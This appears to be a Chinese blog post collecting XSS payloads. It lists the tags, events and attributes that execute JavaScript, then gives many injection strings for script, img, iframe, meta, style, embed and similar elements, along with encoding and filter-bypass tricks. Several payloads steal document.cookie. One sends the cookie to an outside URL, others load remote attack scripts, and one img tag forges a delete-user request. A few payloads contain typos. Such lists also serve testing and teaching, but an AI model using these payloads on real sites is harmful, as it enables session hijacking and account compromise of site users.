标签、事件、属性

xss的攻击原理就是前端被插入了恶意的js代码,下面展示大部分可以执行js的标签、事件、属性;

标签(label)

<script>  <a>  <p>  <img> 

<body>  <button>  <var>  <div> <style>

<iframe>  <object>  <input>  <select> 

<textarea>  <keygen>  <frameset>  <embed> 

<svg>  <math>  <video>  <audio> 

<link>  <table>

事件(event) --- 事件都是onXxx开头

onload  onerror  onunload  onchange  onsubmit

onreset  onselect  onblur  onfocus

onabort  onkeydown  onkeypress  onkeyup 

onclick  ondbclick  onmouseover  onmousemove 

onmouseout  onmouseup  onforminput  onformchange 

ondrag  ondrop

属性(attribute)

formaction  action  href 

xlink:href  autofocus  src

content  data expression

HTML代码注入

script标签

<script>document.write(String.fromCharCode(在这里写上你的代码));</script>   //过滤了等号、单引号、双引号、空格的绕过方法

><script>alert(document.cookie)</script>

</script><script>alert(doucument.cookie)</script>

<script firefox>alert(1)</script>  //其实我们并不需要一个规范的script标签 

<script>~'\u0061' ;  \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073.  \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script>
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script>//在这里我们依然可以使用那些编码
<script>prompt(-[])</script> //不只是alert。prompt和confirm也可以弹窗
<script>alert(/3/)</script> //可以用"/"来代替单引号和双引号
<script>alert(String.fromCharCode(49))</script> //我们还可以用char
<script>alert(/7/.source)</script> // ".source"不会影响alert(7)的执行
<script>setTimeout('alert(1)',0)</script> //如果输出是在setTimeout里,我们依然可以直接执行alert(1) <SCRIPT SRC=//3w.org/XSS/xss.js> //无结束脚本标记
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>; //无结束脚本标记(仅火狐等浏览器)

a标签

<a href=javaascript:alert(document.cookie)>href</a>
<svg><a xlink:href="javascript:alert(1234)"><rect width="1000" height="1000" fill="white"/></a></svg>

img标签 + onerror(都是通过event来调用js)

<img src=# onerror="alert(document.cookie)"/>
<img src=x onerror=alert(1)>
<img src ?itworksonchrome?\/onerror = alert(1)> //只在chrome下有效
<img src=x onerror=window.open('http://google.com');>
<img/src/onerror=alert(1)> //只在chrome下有效
<img src="x:kcf" onerror="alert(1)"> //IMG嵌入式命令,可执行任意命令
<IMG SRC="http://www.XXX.com/a.php?a=b"> //IMG嵌入式命令(a.jpg在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser

button标签

应该有一部分人对于button标签的js调用还停留在通过event事件来实现。像下面的例子.:

<button/onclick=alert(1) >M</button>

那么如果所有的on(event)被过滤了,我们就没有办法了么?其实html5已经给我们带来了新的姿势:

<form><button formaction=javascript&colon;alert(1)>M

也许看到这里就有人会吐槽,这种需要用户交互的啊! 如果使用onfocus事件,再加上autofocus我们就可以达到自动弹窗,无须交互了。

<button onfocus=alert(1) autofocus>

p标签 + onmouseover事件(都是通过event来调用js)

<p/onmouseover=javascript:alert(1); >M</p>
<p onmouseover=alert(/insight-labs/)>insight-labs、<frameset onload=alert(/insight-labs/)>、<body onload=alert(/insight-labs/)>

body标签 + onload(都是通过event来调用js)

<body onload=alert(/insight-labs/)>
<BODY BACKGROUND="javascript:alert(XSS)">
<body onload=alert(1)>
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

var标签

<var onmouseover="prompt(1)">KCF</var>

input标签 + 属性/事件

<INPUT TYPE="IMAGE" SRC="javascript:alert(XSS);">
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>

link标签

<LINK REL="stylesheet" HREF="javascript:alert(XSS);">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

object标签

<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>

<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(XSS)></OBJECT>

meta协议标签

META协议
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(XSS);">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(XSS);">

frameset标签

<frameset onload=alert(/insight-labs/)>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<FRAMESET><FRAME src=javascript:alert('XpSS')></FRAME></FRAMESET>

table标签

<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">

onclick、onmouseout属性

<L onclick=alert(document.cookie)>click me</L★最琀;弹出1

<span class="qm_ico_print" id="mail_print" title="打印" onclick="window.open('/cgi-bin/readmail?sid=SC_hEOi3h_nqEgJQ&amp');"></span>

<a href="http://www.baidu.com" style="color:#143d70; simsun;" onclick="alert(/a/);this.style.behavior='url(#default#homepage)';this.setHomePage('http://www.baidu.com'); return(false);">asdasdsad</a>

<span onclick="javascript:changeFont(2);">
<SPAN class="xmsw" title=dd onmouseout=window.location='http://www,xfydyt.com'>test</span>
<span class="xmsw" title="dd" onmouseout=window.location='http://test/test.php?c='+document.cookie>test</span>
<SPAN class="xmsw" title=dd onmouseout=javascript:alert(document.cookie)>test</SPAN>

CSS代码注入 div、style标签 + expression属性

<STYLE>
.testcss{
color: expreseion(alert(1))
}
</STYLE> <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
<style>body {background-image: url("javascript:alert(123)");}</style>
<STYLE>@importjavasc ipt:alert("XSS");</STYLE>
<STYLE>@importhttp://ha.ckers.org/xss.css;</STYLE>
C<STYLE TYPE="text/javascript">alert(XSS);</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert(XSS)");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert(XSS)")}</STYLE> <div style="background-image:url(javascript:alert(123))">
<DIV STYLE="background-image: 075 072 06C 028 06a 061 076 061 073 063 072 069 070 074 03a 061 06c 065 072 074 028.1027 058.1053 053 027 029 029">
<DIV STYLE="width: expression(alert(XSS));">

注入div

list.html?keyword="-prompt(document.cookie)-"

<span class="test">&quot;-prompt(document.cookie)-&quot;</span>

DOM型注入 iframe标签

iframe标签这个例子当中值得一提的是,有时候我们可以通过实体编码
&Tab(换行和tab字符)来bypass一些filter。

我们还可以通过事先在swf文件中插入我们的xss code,然后通过src属性来调用。不过关于flash值得一提的是,只有在crossdomain.xml文件中,allow-access-from domain=“"允许从外部调用swf时,我们才可以通过flash来实现xss attack。

<IFRAME SRC="javascript:alert(1);"></IFRAME>
<iframe/onload=alert(53)></iframe>

onload执行js

<iframe onload="alert(1)"></iframe>

src执行javascript代码

<iframe src="javascript:alert(1)"></iframe>

IE下vbscript执行代码

<iframe src="vbscript:msgbox(1)"></iframe>

Chrome下data协议执行代码

<iframe src="data:text/html,<script>alert(1)</script>"></iframe>

?url=<iframe
src=JavaScript:(prompt)(document.domain)>a://目标url<a> <iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

Chrome下srcdoc属性

<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

JS代码注入,意味着无需< >

javascript:alert('DOM XSS')
#javascript:alert('DOM XSS') #vbscript:msgbox(IE) #data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== ?query%5Border_No%5D=&query%5Bm
obile%5D=%27%2balert`1`%2b%27 ?query[order_No]=&query[m
obile]='+alert`1`+'

绕过过滤的方式

白盒

  • 阅读代码,查看开发写的过滤方法是怎么过滤的,针对性的看有什么是可以pass的

黑盒就尝试下面的方法

  • 转编码、进制、混合编码
&lt;script&nbsp;src=//xss.tw/3058&gt;&lt;/script&gt;
&quot; 引号
&nbsp; 空格
&lt; <
&gt; >
  • 大小写
  • 多层嵌套
  • 尝试一下其它标签、属性、事件

代替空格

<img/src=x onerror=alert(1)>

<M/onclick="alert(1)">M

最短xss 20个字符

<b/ondrag=alert()>M

可以尝试的标签

// US_ASCII编码(库尔特发现)。使用7位ascii编码代替8位,可以绕过很多过滤。但是必须服务器是以US-ASCII编码交互的。目前仅发现Apache Tomcat是以该方式交互
?scriptualert(EXSSE)?/scriptu <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(XSS);">]]> <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert(XSS)> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

flash注入 embed标签

embed标签可以嵌入FLASH,其中包涵XSS;

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome
<embed src=javascript:alert(1)> //firefox <EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>

.swf

Code: a="get";
b="URL("";
c="javascript:";
d="alert(XSS);")";
eval(a+b+c+d);

参考

https://www.leavesongs.com/PENETRATION/xss-collect.html

XSS Payload List的更多相关文章

  1. ES6中的模板字符串和新XSS Payload

    ES6中的模板字符串和新XSS Payload 众所周知,在XSS的实战对抗中,由于防守方经常会采用各种各样严格的过滤手段来过滤输入,所以我们使用的XSS Payload也会根据实际情况作出各种各样的 ...

  2. XSS Payload知识备忘

    参考资料:<白帽子讲Web安全>吴翰清 著 参见: 百度百科 http://baike.baidu.com/view/50325.htm 维基百科 http://zh.wikipedia. ...

  3. XSS payload 大全

    收集的一些XSS payload,主要分为五大类,便于查阅. #第一类:Javascript URL <a href="javascript:alert('test')"&g ...

  4. xss payload

    xss payload可以使用富客户端文本书写,大多数用javascript,少部分用actionscript等等. 1.盗取cookie,发起cookie劫持 使用xss漏洞插入cookie.js ...

  5. 1.8 收集的XSS Payload

    收集的XSS Payload ,可以做成字典,到时候批量测试:--------------------------------------------------------------------- ...

  6. Web安全系列(二):XSS 攻击进阶(初探 XSS Payload)

    什么是 XSS Payload 上一章我谈到了 XSS 攻击的几种分类以及形成的攻击的原理,并举了一些浅显的例子,接下来,我就阐述什么叫做 XSS Payload 以及从攻击者的角度来初探 XSS 攻 ...

  7. XSS Payload深入分析整理

    几种加载XSS Payload的不常见标签 众所周知,一种调用JavaScript的方法就是在元素类型上使用事件处理器(Event Handler),通常的一种方法类似: <img src=x ...

  8. 【命令汇总】XSS payload 速查表

    日期:2019-05-15 14:06:21 作者:Bay0net 介绍:收集并且可用的一些 XSS payload,网上的速查表很多,但是测试了下很多 payload 的不可用,这里都是自己能用的 ...

  9. xssless - 自动化的XSS payload攻击器

    XSSLESS 一个用Python编写的自动化XSS 负载(payload)攻击器 用法: 记录请求 并结合Burp proxy 选择你想生成的请求,然后右键选择“保存项目” 使用xssless生成你 ...

  10. xss payload大全

    刚好刚才在fuzz一个站的时候用到,就从笔记里抛出来了. code: (1)普通的XSS JavaScript注入 <SCRIPT SRC=http://3w.org/XSS/xss.js> ...

随机推荐

  1. babel环境安装与编译

    babel:将浏览器不支持的ES6语法转为javascript 查看node是否安装: npm -v node -v 实例演示:在桌面新建part5目录在cmd命令行中 cd desktop cd p ...

  2. C#Linq的10个练习

    1.LINQ的两种语法 LINQ查询时有两种语法可供选择:查询表达式(Query Expression)和方法语法(Fluent Syntax). .NET公共语言运行库(CLR)并不具有查询表达式的 ...

  3. Python第三方库requests的编码问题

    PS:这个解决方法可能很简单,但是这是平时的一些细节问题,所以有必要提醒一下! 首先代码不多,就是通过get方法去获取豆瓣首页信息,如图:但是会报UnicodeEncodeError: 'gbk' c ...

  4. 3级搭建类301-Oracle 11g RAC 双节点搭建(11.2.0.4)非公

    项目文档引子系列是根据项目原型,制作的测试实验文档,目的是为了提升项目过程中的实际动手能力,打造精品文档AskScuti. 项目文档引子系列目前不对外发布,仅作为博客记录.如学员在实际工作过程中需提前 ...

  5. Burp Suite Professional 针对APP抓包篡改数据提交【安全】

    Burp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具.Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程.所有工具都共享一个请求,并能处理对应的HTTP 消息 ...

  6. C# Dynamic与Newtonsoft.Json的应用

    C#中Dynamic关键字 dynamic关键字和动态语言运行时(DLR)是.Net 4.0中新增的功能. 什么是"动态"? 编程语言有时可以划分为静态类型化语言和动态类型化语言. ...

  7. Excel如何快速选定所需数据区域

    在使用Excel处理数据时,快速选定所需数据区域的一些小技巧. 第一种方法:(选定指定区域) Ctrl+G调出定位对话框,在[引用位置]处输入A1:E5000,点击[确定]即可.  第二种方法:(选定 ...

  8. 使用ESLint+Prettier来统一前端代码风格

    Prettier 简单使用 ESLint 与 Prettier配合使用 首先肯定是需要安装 prettier ,并且你的项目中已经使用了 ESLint ,有 eslintrc.js 配置文件. npm ...

  9. 斜率优化 DP

    CF311B Cats Transport 暑假到现在终于过了这道题

  10. c#从前台界面找后台方法

    比如你新接触一个项目  项目别人已经写的差不多了  你对项目一无所知,别人安排给你活  怎么最快速度找到你要干的活对应的东西 以谷歌浏览器为例 一个项目你要修改  库存信息列表 右键检查或者F12 找 ...